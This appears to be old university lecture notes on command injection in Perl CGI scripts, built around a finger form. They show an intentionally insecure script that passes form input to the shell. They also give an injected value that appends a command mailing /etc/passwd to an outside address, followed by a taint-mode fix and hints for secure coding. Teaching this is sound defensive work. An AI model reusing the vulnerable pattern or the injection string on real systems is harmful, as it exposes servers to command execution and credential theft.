A Common CGI Security Hole in PERL Scripts
CS4234 -
- WWW: The Underlying Technology
Problem:
-
Forms send arbitrary input for any user worldwide
to a CGI program on your server.
-
On your server, CGI programs (in Perl, as a shell) invoke
system commands using input from form as arguments.
-
Unfiltered input from forms can compromise security.
Example (insecure) PERL script for "finger" on the WWW:
Above form invokes this perl code:
#!/usr/local/bin/perl
require "cgi-lib.pl";
&ReadParse(*input); #query
is sent w/ FORM action
# $query = $ENV{'QUERY_STRING'}; #query is sent w/ GET action
print "Context-type:text/html\n\n"; # http header...REQUIRED
print "<HTML><HEAD><TITLE>Finger Script</TITLE>";
print "</HEAD>\n<BODY>\n<PRE>\n";
$fin_out = `finger $input{usernames}`;
print "$fin_out\n</PRE>\n</BODY></HTML>;
Notes:
-
Note that PERL script generates HTTP header lines.
-
'command' executes command using shell and returns value as string.
-
PERL can also execut shell commands via...
-
system "/usr/bin/ls"
-
exec "/usr/bin/ls"
# this will never return
-
open (WC, "| /usr/bin/wc")
# opens pipe
Why is the form above a potential security hole?
This code uses "tainted" variables in system calls:
-
If a user enters "smith
Andrews ali", the URL will
return the "finger" output for each of these users.
-
But if user enters "smith;
mail me@whereever.org </etc/passwd",
the URL will return output from "finger smith"
and will mail the contents of the system password file!
-
Variables containing characters like ";" and "`" are called
tainted.
-
When you assign tainted variables to others in the code,
the tainting spreads.
How to Solve Problem
#!/usr/local/bin/perl -T
require "cgi-lib.pl";
&ReadParse(*input); #query is sent w/ FORM action
# $query = $ENV{'QUERY_STRING'}; #query is sent w/ GET action
print "Context-type:text/html\n\n"; # http header...REQUIRED
print "<HTML><HEAD><TITLE>Finger Script</TITLE>";
print "</HEAD>\n<BODY>\n<PRE>\n";
$input{usernames} =~ /^([\w.]*)$/; #untaint
$fin_out = $1;
$out_line = `finger $fin_out`;
print "$out_line\n</PRE>\n</BODY></HTML>;
Use of "taintperl" disallows certain actions.
-
Script cannot use variables derived from user input as
input to system calls or file manipulation unless they've been "untainted".
-
"Untainting" does pattern matching to pick out desired
string
-
letters only in /^([\w.]*)$/
-
email address in /([\w-.]+\@[\w-.]+)/
-
Also, paths must be specified within script if outside
current directory...or explicitly in file opens.
Hints for Secure CGI Programming
-
Only let users from a "friendly" domain name use your script!
-
Do not use shell scripts at all.
-
Use "perl
-T" or
"taintperl"
if system calls will be made.
-
Minimize use of system calls.
-
Screen out undesirable input characters with "~
tr/^[\w ]//g" or "$x =~ /^([\w.]*)$/;".
-
If applicable, screen input using a dictionary file.
-
Non-text input (e.g., buttons/selectors) should also be checked.
References:
-
Wall,Larry and Randal L. Schwartz, "Programming PERL", O'Reilly
& Associates, © 1991, pp. 258,374-375 ...(the Camel Book).
-
Stein, Lincoln "How To Set Up and Maintain a World Wide Web Site",
Addison Wesley © 1995, pp 385-389.
-
Stein, Lincoln "The
WWW Security FAQ"....and the Chapter on Safe
PERL scripts.
Last updated on 25 October
2000 by abrams@vt.edu. Original
material by Stephen Williams.